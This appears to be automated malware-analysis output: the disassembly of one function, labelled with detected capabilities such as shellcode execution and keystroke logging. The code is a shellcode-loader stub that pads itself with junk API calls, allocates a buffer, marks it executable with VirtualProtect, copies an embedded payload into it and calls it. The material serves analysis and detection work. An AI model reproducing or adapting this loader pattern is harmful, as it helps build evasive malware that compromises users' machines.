Function at 0x403690
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Log keystrokes via polling
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc18
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
push 0
call edi
call ebx
cmp esi, 0x207142
jg 0x4036c1
inc esi
cmp esi, 0x67d12
jl 0x4036aa
cmp dword [0x5ddf84], 0x93
jne 0x4037c7
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuStringA]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuA]
push 0
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push 0
lea eax, [ebp - 0x418]
push eax
push 0
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
push 0
push 0
lea ecx, [ebp - 0xc18]
push ecx
push 0
push 0
call dword [sym.imp.USER32.dll_DdeQueryStringW]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
xor edx, edx
lock bts dword [edx], 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push 0
push 0
push 0x403138
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0x40311c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea edx, [ebp - 4]
push edx
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 0x403198
call fcn.004041f3
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], 0x4031cc
call fcn.0040421a
push 0
call fcn.004043d8
push 0
call fcn.00404407
push 0
push 0
call fcn.004044af
push 0
push 0
call fcn.00404412
add esp, 0x18
call fcn.00404155
mov eax, dword [0x43b48c]
mov dword [0x5dedc0], eax
mov eax, dword [0x5ddf84]
add eax, 0x1134b
push eax
push 0
mov dword [0x5ddf84], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x5ddf84]
lea ecx, [ebp - 8]
push ecx
push 0x40
push edx
push eax
mov dword [0x5dda14], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_LoadMenuW]
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
mov esi, 0x1692e
push 0
push 0
call edi
push 0
lea eax, [ebp - 0x418]
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x403813
cmp dword [0x5ddf84], esi
jbe 0x40389d
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ecx, dword [0x5dedc0]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x5dda14]
mov byte [eax + esi], dl
cmp dword [0x5ddf84], 0x490
jne 0x403894
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
inc esi
cmp esi, dword [0x5ddf84]
jb 0x403841
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.USER32.dll_ChangeMenuW]
xor esi, esi
mov edx, dword [0x5ddf84]
add edx, esi
cmp edx, 0x8d
jne 0x4038f3
push 0
lea eax, [ebp - 0x418]
push eax
push 0
push 0x403134
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
inc esi
cmp esi, 0x38681
jl 0x4038ab
call fcn.004033d0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
xor esi, esi
jmp 0x403910
call edi
cmp esi, 0x61
jne 0x40392a
mov dword [ebp - 4], ebx
add dword [ebp - 4], 0x90d0
mov ecx, dword [ebp - 4]
add dword [0x5dda14], ecx
inc esi
cmp esi, 0x674bd
jl 0x403910
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 4], 0x7b
lea esp, [esp]
cmp dword [0x5ddf84], 0x86
jne 0x403991
push 0
call esi
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push 0
lea edx, [ebp - 0xc18]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
cmp dword [0x5ddf84], 0xf
jne 0x4039a8
push 0
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
dec dword [ebp - 4]
jne 0x403950
push 0x4031a8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x5dda14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret